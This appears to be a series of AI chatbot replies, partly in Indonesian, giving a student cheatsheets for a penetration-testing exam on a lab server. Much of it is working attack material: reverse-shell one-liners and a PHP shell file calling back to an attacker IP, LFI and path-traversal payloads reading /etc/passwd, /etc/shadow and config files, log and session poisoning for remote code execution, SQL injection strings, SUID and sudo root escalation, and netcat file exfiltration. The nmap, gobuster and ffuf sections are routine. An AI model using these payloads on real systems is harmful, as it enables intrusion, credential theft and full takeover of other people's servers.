Of course, here is a comprehensive cheatsheet to help you with your penetration testing exam. Good luck!

This cheatsheet is designed to guide you through the penetration testing process as outlined in your exam paper for the "Nusa Commerce" application. It covers key phases from information gathering to privilege escalation, with a special focus on the hinted vulnerabilities: Path Traversal and Local File Inclusion (LFI).

**Phase 1: Information Gathering (Reconnaissance)**

This initial phase is crucial for understanding the target. Your goal is to map out the server's services, ports, and web directories.

* **Port & Service Scanning (Nmap)**: The first step is to identify open ports and the services running on them.
  + **Stealth Scan (SYN Scan)**: -sS is fast and less likely to be logged.
  + **Version Detection**: -sV attempts to determine the version of the running services.
  + **Aggressive Scan**: -A enables OS detection, version detection, script scanning, and traceroute.
  + **Full Port Scan**: -p- scans all 65535 TCP ports.

**Example Command:**

Bash

nmap -sS -sV -A -p- [IP\_SERVER\_UAS] -oN nmap\_results.txt

This command saves the output to a file named nmap\_results.txt for your report.

* **Web Directory & File Enumeration (Dirb/Gobuster)**: After finding a web server (e.g., on port 80 or 443), you need to find hidden directories and files.
  + Dirb: A simple and fast directory scanner.

Example Command:

Bash

dirb http://[IP\_SERVER\_UAS] /usr/share/dirb/wordlists/common.txt

* + Gobuster: A faster alternative to Dirb, written in Go.

Example Command:

Bash

gobuster dir -u http://[IP\_SERVER\_UAS] -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

**Phase 2: Vulnerability Analysis**

With the information gathered, you can now form hypotheses about potential weaknesses. For each service identified by Nmap, consider possible vulnerabilities. For example, if you find an old version of Apache or FTP, search for known exploits.

**Hypothesis Formulation:**

* "The web server is running Apache version X.Y.Z, which is known to be vulnerable to..."
* "The login page at /login.php might be susceptible to SQL Injection."
* "The file upload feature at /upload.php could have unrestricted file upload vulnerabilities."
* "The ?file= parameter in the URL looks like a potential entry point for LFI or Path Traversal."

**Phase 3: Exploitation**

This is where you attempt to gain initial access. Based on your analysis and the clues provided, LFI and Path Traversal are highly likely.

* **Local File Inclusion (LFI) & Path Traversal**: These vulnerabilities often occur when an application uses user-supplied input to access files on the server.

**Identifying the Vulnerability:** Look for URL parameters like ?page=, ?file=, or ?include=.

**Common Payloads for LFI/Path Traversal:**

* + **Reading /etc/passwd (to view users on a Linux system):**
  + http://[IP\_SERVER\_UAS]/index.php?page=../../../../../../etc/passwd
  + **Reading Application Source Code (to find more vulnerabilities like database credentials):**
  + http://[IP\_SERVER\_UAS]/index.php?page=../../../../../../var/www/html/config.php
  + **LFI with PHP Wrappers (if enabled):**
    - **Base64 Encode**: View the source of a PHP file.
    - http://[IP\_SERVER\_UAS]/index.php?page=php://filter/convert.base64-encode/resource=config.php
    - **Expect Wrapper (for Remote Code Execution - RCE):**
    - http://[IP\_SERVER\_UAS]/index.php?page=expect://ls
* **Gaining a Reverse Shell**: Once you confirm a vulnerability, the next step is to get a shell. A reverse shell makes the target machine connect back to you.
  1. **Start a Listener on Your Machine**: Use Netcat to listen for the incoming connection.

Bash

nc -lnvp 4444

*(Here, 4444 is the port you are listening on.)*

* 1. **Execute a Reverse Shell Payload on the Target**: There are many ways to do this, depending on the vulnerability.
     + **Simple Bash Reverse Shell (if you have RCE):**

Bash

bash -i >& /dev/tcp/[YOUR\_IP]/4444 0>&1

* + - PHP Reverse Shell (useful if you can upload a file or through LFI):

Create a file named shell.php with the following content (and update the IP and port):

PHP

<?php

exec("/bin/bash -c 'bash -i >& /dev/tcp/[YOUR\_IP]/4444 0>&1'");

?>

Then, upload it and access it via the browser, or trigger it via your LFI vulnerability if possible.

**Phase 4: Privilege Escalation (Bonus)**

After gaining initial access (e.g., as the www-data user), your goal is to become the **root** user.

* **Manual Enumeration is Key**: Run these commands on the target machine to gather information.
  + **Check OS and Kernel Version**:

Bash

uname -a

cat /etc/issue

* + **List SUID Binaries**: Find files that run with the owner's permissions (often root).

Bash

find / -perm -u=s -type f 2>/dev/null

*(Look for unusual binaries like find, nmap, vim, etc. that can be exploited to run commands as root.)*

* + **Check SUDO Permissions**: See what commands your user can run as root.

Bash

sudo -l

* + **Look for Interesting Files/Cron Jobs**:

Bash

ls -la /etc/cron\*

cat /etc/passwd

cat /etc/shadow # (If you have read permissions)

* **Automated Enumeration Scripts**:
  + If available on the target, scripts like **LinEnum.sh** or **LinPEAS** can automate the search for escalation vectors. Since the exam is offline, you would need to have these pre-loaded on your attack machine and find a way to transfer them (e.g., by hosting a simple Python web server on your machine and using wget on the target).

Example Privilege Escalation with SUID Binary (find):

If find has the SUID bit set, you can use it to execute a command as root.

Bash

find . -exec /bin/sh -p \; -quit

This will give you a root shell.

**Phase 5: Reporting**

Your report is a critical part of the exam. Structure it professionally.

* **Executive Summary**: A brief, non-technical overview for management.
* **Methodology**: Describe the steps you took (e.g., PTES, OSSTMM).
* **Findings**:
  + For each vulnerability (e.g., LFI, Path Traversal, Privilege Escalation):
    - **Name**: (e.g., Local File Inclusion)
    - **Severity**: (e.g., Critical, High, Medium, Low)
    - **Description**: Explain the vulnerability.
    - **Proof of Concept**: Provide the exact commands, payloads, and screenshots showing how you exploited it.
    - **Remediation**: Suggest specific fixes (e.g., "Sanitize user input by implementing a whitelist of allowed files.").
* **False Positives**: Include things you thought were vulnerabilities but weren't, and explain why. This shows a thorough analysis.
* **Conclusion**: Summarize your findings and the overall security posture of the server.

Tentu, ini adalah cheatsheet tambahan dengan perintah dan teknik yang lebih spesifik yang sangat berguna selama ujian penetration testing, melengkapi cheatsheet sebelumnya.

**Cheatsheet Pentest Tambahan**

**1. Reverse Shell One-Liners**

Setelah Anda menemukan cara untuk mengeksekusi kode (RCE), Anda memerlukan *reverse shell* untuk mendapatkan kontrol. Di mesin penyerang Anda, selalu jalankan listener terlebih dahulu:

Bash

# Listener menggunakan Netcat

nc -lvnp [PORT]

# Contoh: nc -lvnp 4444

Kemudian, eksekusi salah satu dari perintah berikut di mesin target (sesuaikan [IP\_ANDA] dan [PORT]).

* **Bash:**

Bash

bash -i >& /dev/tcp/[IP\_ANDA]/[PORT] 0>&1

* **Python:**

Bash

python -c 'import socket,os,pty;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(("[IP\_ANDA]",[PORT]));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

* **PHP:**

PHP

php -r '$sock=fsockopen("[IP\_ANDA]",[PORT]);exec("/bin/sh -i <&3 >&3 2>&3");'

* **Netcat (jika terinstall di target):**

Bash

nc -e /bin/bash [IP\_ANDA] [PORT]

**2. Stabilisasi Shell (Upgrade ke Shell Interaktif Penuh)**

Reverse shell dasar seringkali terbatas (misalnya, Ctrl+C akan mematikan shell). Gunakan trik ini untuk menstabilkannya setelah Anda mendapatkan akses.

1. **Langkah 1: Gunakan Python untuk spawn TTY.**

Bash

python -c 'import pty; pty.spawn("/bin/bash")'

# Jika python di atas tidak ada, coba python3

python3 -c 'import pty; pty.spawn("/bin/bash")'

1. Langkah 2: Background shell.

Tekan Ctrl+Z

1. **Langkah 3: Atur terminal lokal Anda.**

Bash

stty raw -echo; fg

1. Langkah 4: Atur terminal di target.

Setelah menekan Enter, ketik perintah berikut di shell target:

Bash

reset

export SHELL=bash

export TERM=xterm-256color

stty rows 38 cols 116 # Sesuaikan dengan ukuran terminal Anda

Sekarang Anda memiliki shell yang berfungsi penuh dengan *auto-complete* dan Ctrl+C.

**3. Transfer File (Penting untuk Skenario Offline)**

Karena ujian bersifat offline, Anda mungkin perlu mentransfer skrip enumerasi (seperti LinPEAS) ke target atau menarik file dari target.

* **Dari Penyerang ke Target (Menggunakan Python Web Server)**
  1. Di mesin penyerang Anda, di direktori tempat file berada:

Bash

python3 -m http.server 8000

* 1. Di mesin target, unduh file tersebut:

Bash

cd /tmp # Pindah ke direktori yang bisa ditulis

wget http://[IP\_ANDA]:8000/nama\_file

# atau jika wget tidak ada

curl http://[IP\_ANDA]:8000/nama\_file -o nama\_file

* **Dari Target ke Penyerang (Menggunakan Netcat)**
  1. Di mesin penyerang Anda, siapkan listener untuk menerima file:

Bash

nc -lvnp [PORT] > nama\_file\_diterima

* 1. Di mesin target, kirim file:

Bash

nc [IP\_ANDA] [PORT] < nama\_file\_dikirim

**4. Eskalasi Hak Istimewa (Privilege Escalation) - Contoh Spesifik**

Fokus pada biner SUID dan kapabilitas. **GTFOBins** adalah referensi terbaik untuk ini.

* **Mencari Biner SUID/GUID:**

Bash

find / -perm -6000 -type f 2>/dev/null

* **Contoh Eksploitasi Biner SUID:**
  + **Nmap (versi lama):**

Bash

nmap --interactive

# lalu di prompt nmap ketik:

!sh

* + **Find:**

Bash

find . -exec /bin/sh -p \; -quit

* + **Vim:**

Bash

vim -c ':!/bin/sh'

* + **Docker (jika user ada di grup docker):**

Bash

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

* + **Sudo (jika sudo -l menunjukkan (ALL, !root) /bin/bash):**

Bash

sudo -u#-1 /bin/bash

**5. SQL Injection Payloads Cepat**

Jika Anda menemukan halaman login atau parameter URL yang sepertinya mengambil data dari database.

* **Deteksi (Error-based):**

SQL

' OR 1=1 -- -

' OR '1'='1' -- -

admin' -- -

* **Mencari Jumlah Kolom:**

SQL

' ORDER BY 1 -- -

' ORDER BY 2 -- -

' ORDER BY 3 -- -

# Terus naikkan angkanya sampai Anda mendapatkan error. Angka terakhir yang tidak error adalah jumlah kolom.

* Melihat Data dengan UNION:

Misalnya jika ada 3 kolom.

SQL

' UNION SELECT 1,2,3 -- -

# Ganti angka dengan fungsi database untuk mendapatkan info:

' UNION SELECT 1,database(),version() -- -

**6. Tips Tambahan untuk LFI/Path Traversal**

* Null Byte Injection (untuk PHP versi lama):

../../../../etc/passwd%00

Null byte (%00) dapat menghentikan parser membaca sisa string, sehingga melewati filter yang mungkin menambahkan .php di akhir.

* Filter Bypass Encodings:

Terkadang, filter memblokir ../. Coba encoding atau variasi lain:

* + ..%2f (URL encode untuk /)
  + ....// (Double slash)
  + ..\/ (Backslash)
* Membaca file log untuk RCE via LFI:

Jika Anda menemukan LFI dan server web adalah Apache, Anda dapat mencoba meracuni file log.

* 1. Kirim permintaan ke server dengan User-Agent berisi kode PHP:

Bash

nc [IP\_SERVER\_UAS] 80

GET /index.php HTTP/1.1

Host: [IP\_SERVER\_UAS]

User-Agent: <?php system($\_GET['cmd']); ?>

* 1. Gunakan LFI Anda untuk menyertakan file log Apache dan eksekusi perintah:
  2. http://[IP\_SERVER\_UAS]/index.php?page=../../../../var/log/apache2/access.log&cmd=id

Semoga berhasil dalam ujian Anda! Cheatsheet ini seharusnya memberikan Anda persenjataan yang solid.

Tentu, berikut adalah perintah dan langkah-langkah paling umum untuk mengubah reverse shell dasar menjadi shell yang interaktif sepenuhnya.

Setelah Anda mendapatkan reverse shell, jalankan perintah ini secara berurutan.

**Langkah 1: Spawn TTY dengan Python**

Pertama, gunakan Python untuk membuat shell yang lebih baik di dalam shell Anda saat ini. Ini akan memberikan fungsionalitas dasar seperti *tab-completion* dan riwayat perintah.

Bash

python3 -c 'import pty; pty.spawn("/bin/bash")'

*Jika python3 tidak ditemukan, coba gunakan python.*

**Langkah 2: Background Shell Saat Ini**

Tekan kombinasi tombol Ctrl + Z pada keyboard Anda. Ini akan mengirim shell Anda ke *background* dan mengembalikan Anda ke terminal mesin penyerang (attacker) Anda.

**Langkah 3: Atur Terminal Lokal dan Kembalikan Shell**

Sekarang, jalankan perintah berikut di terminal **mesin penyerang** Anda. Perintah ini menonaktifkan *echo* lokal dan mengizinkan sinyal kontrol (seperti Ctrl+C) untuk diteruskan ke shell target.

Bash

stty raw -echo; fg

Setelah mengetik fg dan menekan Enter, shell Anda akan kembali ke *foreground*. Anda mungkin perlu menekan Enter sekali lagi untuk memunculkan *prompt* shell target.

**Langkah 4: Atur Lingkungan Terminal Target**

Terakhir, atur variabel lingkungan di shell target agar cocok dengan terminal modern. Ini akan memperbaiki masalah tampilan dan memungkinkan aplikasi seperti vim atau nano berjalan dengan benar.

Bash

export TERM=xterm-256color

export SHELL=/bin/bash

Anda juga dapat menyesuaikan ukuran baris dan kolom agar sesuai dengan jendela terminal Anda:

Bash

# Cek ukuran terminal lokal Anda dengan perintah 'stty size'

# Lalu terapkan di shell target:

stty rows 38 cols 120

Sekarang Anda memiliki shell yang **sepenuhnya interaktif** ⌨️. Anda dapat menggunakan Ctrl+C, Ctrl+L (clear screen), panah atas/bawah, dan *tab-completion* tanpa mematikan koneksi Anda.

Of course, here is a more advanced cheatsheet focusing specifically on advanced techniques for **Path Traversal** and **Local File Inclusion (LFI)**. This will help you bypass filters and escalate the vulnerability beyond just reading files.

1. **Cheatsheet: Advanced LFI & Path Traversal**

This cheatsheet focuses on bypassing security filters and escalating LFI to achieve Remote Code Execution (RCE).

**LFI/Path Traversal Payloads (Beyond /etc/passwd)**

Once you've confirmed the vulnerability, try to read more sensitive files to gather information for further exploitation.

* **Server & Application Configuration:**
  + Apache Config: ../../../../etc/apache2/apache2.conf
  + Nginx Config: ../../../../etc/nginx/nginx.conf
  + Web App Config: ../../../../var/www/html/config.php or .../WEB-INF/web.xml (for Java apps)
* **System Information & Logs:**
  + Running Processes: ../../../../proc/sched\_debug (shows process names which can reveal running security software)
  + Environment Variables: ../../../../proc/self/environ (may contain sensitive paths, library versions, or credentials)
  + SSH Config: ../../../../etc/ssh/sshd\_config
  + Bash History: ../../../../home/USER/.bash\_history (look for usernames in /etc/passwd first)
  + Apache Access Log: ../../../../var/log/apache2/access.log
  + Authentication Log: ../../../../var/log/auth.log

**Filter Bypass Techniques**

Web applications often try to filter ../. Your goal is to trick the filter.

* **URL Encoding:** Most basic bypass.
  + ../ -> ..%2f (Single encoding)
  + ../ -> ..%252f (Double encoding)
* **Path Truncation & Wrappers:**
  + **Null Byte (%00)**: Effective in older versions of PHP (< 5.3.4). It tricks the application into stopping its processing of the string, allowing you to bypass appended extensions like .php.
    - ../../../../etc/passwd%00
  + **PHP Wrappers**: These are powerful for reading files, especially source code, without it being executed.
    - php://filter/convert.base64-encode/resource=index.php (Displays the source code of index.php in Base64)
    - php://input (Used to send data in a POST request for execution)
* **Traversal Variations:**
  + ....// or ....\/ : Some filters remove ../ recursively. These variations can sometimes bypass that logic.
  + ..;/ : Using a semicolon can also sometimes trick a naive filter.

**Escalating LFI to RCE (Remote Code Execution) 🚀**

This is the ultimate goal. If you can write to a file on the server that you can then include via LFI, you can get RCE.

**Method 1: Log Poisoning**

If you can read web server logs (e.g., access.log) and you can inject PHP code into them, you can execute that code.

1. **Inject PHP code into the log file.** You can do this by making a request where part of the request (like the User-Agent header) contains your payload.

Bash

# Use netcat to make a raw web request

nc [IP\_SERVER\_UAS] 80

GET / HTTP/1.1

Host: [IP\_SERVER\_UAS]

User-Agent: <?php system($\_GET['cmd']); ?>

1. **Include the log file via LFI and execute your command.**
2. http://[IP\_SERVER\_UAS]/index.php?page=../../../../var/log/apache2/access.log&cmd=id

This should execute the id command on the server. Now you can use this to get a reverse shell.

**Method 2: /proc/self/environ Poisoning**

The /proc/self/environ file contains the environment variables for the currently running process (the web server). If you can control a variable, you can achieve RCE.

1. Check if you can read the file.

http://[IP\_SERVER\_UAS]/index.php?page=../../../../proc/self/environ

1. **If you can, inject your payload.** The easiest way is often by modifying the User-Agent header.

Bash

# Use Burp Suite or curl to modify the User-Agent header

curl -s -A "<?php system('id'); ?>" "http://[IP\_SERVER\_UAS]/index.php?page=../../../../proc/self/environ"

Look for the output of the id command in the response.

**Method 3: PHP Session File Poisoning**

If the website uses PHP sessions, the server stores session files on disk. If you can control the content of your session file, you can use LFI to execute it.

1. **Find the session file location.** Common locations are /var/lib/php/sessions/ or /tmp/. The name is often sess\_PHPSESSID.
2. **Initiate a session.** Browse the website to get a PHPSESSID cookie.
3. **Inject your payload into the session.** This often works by setting a variable on a form that gets stored in the session. For example, if a login form stores the username in the session:
   * Username: <?php system('id'); ?>
4. Include your session file via LFI.

http://[IP\_SERVER\_UAS]/index.php?page=../../../../var/lib/php/sessions/sess\_[YOUR\_PHPSESSID\_COOKIE]

Good luck—use these techniques to dig deeper and demonstrate a thorough understanding of the vulnerability's impact!

Tentu, ini adalah cheatsheet Nmap yang berisi perintah-perintah paling umum dan berguna, yang disusun berdasarkan fungsinya.

1. **Cheatsheet Perintah Nmap**

**Spesifikasi Target**

Anda dapat memindai satu IP, rentang IP, atau daftar host.

* **Satu Target**: nmap 192.168.1.1
* **Beberapa Target**: nmap 192.168.1.1 192.168.1.5
* **Rentang IP (CIDR)**: nmap 192.168.1.0/24
* **Rentang IP (Oktet)**: nmap 192.168.1.1-254
* **Dari File**: nmap -iL targets.txt

**Tipe Scan Utama**

Pilih metode yang Anda gunakan untuk memindai port.

* **TCP SYN Scan (Stealth Scan)**: -sS
  + Paling umum digunakan, cepat, dan tidak mudah terdeteksi. Memerlukan hak akses root/sudo.

Bash

sudo nmap -sS [target]

* **TCP Connect Scan**: -sT
  + Lebih lambat dan "berisik" (mudah terdeteksi), tetapi tidak memerlukan hak akses root.

Bash

nmap -sT [target]

* **UDP Scan**: -sU
  + Memindai port UDP. Sangat lambat.

Bash

sudo nmap -sU [target]

**Spesifikasi Port**

Secara default, Nmap memindai 1000 port paling umum. Gunakan opsi ini untuk lebih spesifik.

* **Port Tertentu**: -p 80,443
* **Rentang Port**: -p 1-100
* **Semua Port (65535)**: -p-
* **Port Teratas**: --top-ports 100
* **Fast Scan (100 port umum)**: -F

**Deteksi Layanan & Versi**

Mengetahui versi layanan yang berjalan sangat penting untuk menemukan kerentanan.

* **Deteksi Versi**: -sV
  + Mencoba menentukan versi layanan yang berjalan di port terbuka.

Bash

nmap -sV [target]

* **Scan Agresif**: -A
  + Pilihan populer yang mengaktifkan deteksi OS (-O), deteksi versi (-sV), pemindaian skrip (-sC), dan traceroute.

Bash

nmap -A [target]

**Nmap Scripting Engine (NSE)**

Gunakan skrip untuk mengotomatiskan berbagai tugas, seperti menemukan kerentanan.

* **Menjalankan Skrip Default**: -sC
  + Sama dengan --script=default.

Bash

nmap -sC [target]

* **Menjalankan Skrip Tertentu**: --script [nama-skrip]

Bash

nmap --script=http-title [target]

* **Menjalankan Skrip dari Kategori**: --script "[kategori]"
  + Kategori umum: vuln, exploit, discovery, auth.

Bash

nmap --script "vuln" [target]

* **Melihat Argumen Skrip**: --script-help [nama-skrip]

**Pengaturan Waktu & Performa**

Kontrol kecepatan pemindaian. Hati-hati, scan yang terlalu cepat bisa tidak akurat atau memicu IDS/IPS.

* **Template Waktu**: -T<0-5>
  + -T0: Sangat lambat (Paranoid)
  + -T3: Normal (Default)
  + -T4: Cepat (Aggressive)
  + -T5: Sangat Cepat (Insane)

Bash

nmap -T4 [target]

**Format Output**

Simpan hasil pindaian Anda untuk analisis dan pelaporan.

* **Normal Output**: -oN file.txt
* **XML Output**: -oX file.xml
* **Grepable Output**: -oG file.txt
* **Simpan ke Semua Format**: -oA nama\_file (akan membuat nama\_file.nmap, nama\_file.xml, nama\_file.gnmap)

**Contoh Perintah Gabungan**

Ini adalah contoh perintah yang sering digunakan dalam pengujian penetrasi.

Bash

# Scan paling umum & komprehensif untuk satu target

sudo nmap -sS -sV -A -p- [target] -oA initial\_scan

Perintah di atas akan:

* sudo: Menjalankan dengan hak root (diperlukan untuk -sS).
* -sS: Menggunakan SYN Scan.
* -sV: Mendeteksi versi layanan.
* -A: Menjalankan deteksi OS, versi, skrip default, dan traceroute.
* -p-: Memindai semua port dari 1 hingga 65535.
* [target]: IP atau domain target.
* -oA initial\_scan: Menyimpan output dalam semua format dengan nama file "initial\_scan".

Tentu, ini adalah cheatsheet untuk

Gobuster dan Dirb (versi command-line dari Dirbuster), dua alat yang sangat penting untuk tahap enumerasi direktori web1111.

1. **Cheatsheet: Gobuster & Dirb**

Kedua alat ini digunakan untuk menemukan direktori dan file yang tersembunyi di server web dengan metode brute-force menggunakan wordlist.

**Gobuster**

Gobuster lebih modern, lebih cepat, dan seringkali menjadi pilihan utama.

**Mode Utama**

* dir: Mode klasik untuk brute-force direktori dan file.

**Sintaks & Opsi Umum**

Bash

gobuster dir -u <URL> -w <wordlist> [opsi]

* **-u (URL)**: Menentukan URL target.
  + Contoh: http://[IP\_SERVER\_UAS]
* **-w (Wordlist)**: Menentukan path ke file wordlist.
  + Lokasi umum di Kali Linux: /usr/share/wordlists/dirbuster/ atau /usr/share/wordlists/dirb/.
* **-x (Extensions)**: Menambahkan ekstensi file ke setiap kata dalam wordlist. Sangat penting untuk menemukan file seperti login.php, config.bak, dll.
  + Contoh: -x php,html,txt
* **-o (Output)**: Menyimpan hasil ke dalam file. Wajib untuk laporan Anda.
  + Contoh: -o gobuster\_results.txt
* **-t (Threads)**: Jumlah thread yang digunakan untuk mempercepat pemindaian.
  + Contoh: -t 50
* **-s (Status Codes)**: Menampilkan hasil hanya untuk kode status HTTP tertentu.
  + Contoh: -s 200,204,301,302
* **-k**: Melewati verifikasi sertifikat SSL (berguna untuk target dengan sertifikat *self-signed*).

**Contoh Perintah Gobuster**

Bash

# Scan dasar dengan wordlist umum

gobuster dir -u http://[IP\_SERVER\_UAS] -w /usr/share/wordlists/dirb/common.txt

# Scan lebih lengkap mencari file PHP dan TXT, dengan 50 thread, dan simpan hasilnya

gobuster dir -u http://[IP\_SERVER\_UAS] -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 50 -o gobuster\_report.txt

**Dirb**

Dirb lebih simpel dan sudah terinstall di banyak distro pentest.

**Sintaks & Opsi Umum**

Bash

dirb <URL> <wordlist> [opsi]

* **<URL>**: URL target (posisi pertama).
* **<wordlist>**: Path ke wordlist (posisi kedua). Jika dikosongkan, Dirb akan menggunakan wordlist default-nya.
* **-o (Output)**: Menyimpan hasil ke dalam file.
  + Contoh: -o dirb\_results.txt
* **-X (Extensions)**: Menambahkan ekstensi, dipisahkan dengan koma.
  + Contoh: -X .php,.txt
* **-r (Non-Recursive)**: Mencegah Dirb memindai sub-direktori dari direktori yang ditemukannya secara rekursif.
* **-z (delay)**: Memberi jeda (dalam milidetik) antar permintaan agar tidak terlalu agresif.

**Contoh Perintah Dirb**

Bash

# Scan dasar menggunakan wordlist default dirb

dirb http://[IP\_SERVER\_UAS]

# Scan dengan wordlist spesifik dan mencari ekstensi .php

dirb http://[IP\_SERVER\_UAS] /usr/share/wordlists/dirb/common.txt -X .php -o dirb\_report.txt

**Tips & Wordlists**

* **Memilih Wordlist**:
  + Untuk pemindaian cepat: /usr/share/wordlists/dirb/common.txt.
  + Untuk pemindaian yang lebih mendalam: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt atau directory-list-2.3-big.txt.
* **Sesuaikan Ekstensi**: Selalu sesuaikan ekstensi (-x atau -X) dengan teknologi yang Anda lihat di server. Jika server menjalankan PHP, cari .php, .inc, .bak. Jika server menjalankan Java, cari .jsp, .do.
* **Baca Output**: Jangan hanya melihat kode 200 OK. Kode 301 (Moved Permanently) atau 302 (Found) juga bisa menunjukkan direktori atau halaman login yang valid. Kode 403 (Forbidden) menandakan direktori ada tetapi Anda tidak memiliki izin untuk melihat isinya, yang juga merupakan temuan berharga.

Tentu, ini adalah cheatsheet untuk ffuf (Fuzz Faster U Fool), sebuah web fuzzer yang sangat cepat dan fleksibel. Alat ini sangat kuat untuk menemukan direktori, file, subdomain (virtual hosts), dan parameter.

1. **Cheatsheet: ffuf**

ffuf adalah alat *fuzzing* web yang sangat cepat dan berbasis command-line. Konsep utamanya adalah menggunakan kata kunci **FUZZ** yang akan digantikan dengan setiap baris dari *wordlist* Anda.

**Sintaks Dasar**

Bash

ffuf -w <wordlist> -u <URL>/FUZZ

* **-w**: Menentukan path ke file *wordlist*.
* **-u**: Menentukan URL target. **FUZZ** adalah tempat *payload* dari *wordlist* akan disisipkan.

**Fuzzing Direktori & File (Penggunaan Umum)**

Ini adalah penggunaan yang paling umum, mirip dengan Gobuster atau Dirb.

* **-x**: Menambahkan ekstensi ke *payload*.
  + Contoh: -x .php,.html
* **-o**: Menyimpan output ke dalam file.
  + Contoh: -o ffuf\_results.json
* **-of**: Menentukan format file output (json, csv, html, dll.).
  + Contoh: -of json
* **-c**: Memberikan output berwarna untuk kemudahan membaca.

**Contoh Perintah Fuzzing Direktori**

Bash

# Fuzzing direktori dasar dengan wordlist umum

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://[IP\_SERVER\_UAS]/FUZZ -c

# Fuzzing file dengan ekstensi .php dan .txt, lalu simpan hasilnya

ffuf -w /usr/share/wordlists/dirb/common.txt -u http://[IP\_SERVER\_UAS]/FUZZ -x .php,.txt -o ffuf\_report.json -of json

**Memfilter Hasil (Sangat Berguna)**

ffuf memiliki fitur *filtering* yang kuat untuk mengurangi *noise* dan hanya menampilkan hasil yang relevan.

* **-mc (Match Code)**: Hanya tampilkan hasil dengan kode status HTTP ini.
  + Contoh: -mc 200,301,302 (hanya tampilkan yang ditemukan/valid)
* **-fc (Filter Code)**: Sembunyikan hasil dengan kode status HTTP ini.
  + Contoh: -fc 404,403 (sembunyikan Not Found dan Forbidden)
* **-fs (Filter Size)**: Sembunyikan hasil dengan ukuran respons tertentu (dalam byte). Berguna untuk memfilter halaman "Not Found" yang mengembalikan kode 200 OK.
  + Contoh: -fs 1250 (sembunyikan respons yang ukurannya 1250 bytes)
* **-fw (Filter Words)**: Sembunyikan hasil yang mengandung jumlah kata tertentu.
  + Contoh: -fw 102

**Contoh Perintah dengan Filter**

Bash

# Fuzzing direktori, tapi hanya tampilkan hasil 200 OK dan sembunyikan respons dengan ukuran 521 bytes

ffuf -w /usr/share/wordlists/dirb/common.txt -u http://[IP\_SERVER\_UAS]/FUZZ -mc 200 -fs 521

**Fuzzing Virtual Host (Subdomain)**

ffuf sangat baik untuk menemukan subdomain yang tidak terdaftar di DNS publik tetapi ada di server web. Ini dilakukan dengan mem-fuzzing *header* **Host**.

* **-H**: Menentukan *header* HTTP kustom.

**Contoh Perintah Fuzzing VHost**

Bash

# Ganti header Host dengan setiap kata dari wordlist subdomain

ffuf -w /path/to/subdomains.txt -u http://[IP\_SERVER\_UAS] -H "Host: FUZZ.[TARGET\_DOMAIN]" -c -fc 302

* **Catatan**: [TARGET\_DOMAIN] adalah domain utama aplikasi, misalnya nusacommerce.local. Anda mungkin perlu menambahkan IP dan domain target ke file /etc/hosts Anda agar ini berfungsi dengan baik.

**Tips Tambahan**

* **Multi-Wordlist**: Anda dapat menggunakan beberapa kata kunci FUZZ dan beberapa *wordlist*. Misalnya, untuk fuzzing user dan pass, Anda bisa menggunakan -w user.txt:W1 -w pass.txt:W2 dan menggunakan W1 serta W2 di URL atau data POST.
* **Recursive Fuzzing**: Gunakan opsi -recursion untuk secara otomatis melakukan *fuzzing* pada direktori yang ditemukan.
  + Contoh: -recursion -recursion-depth 1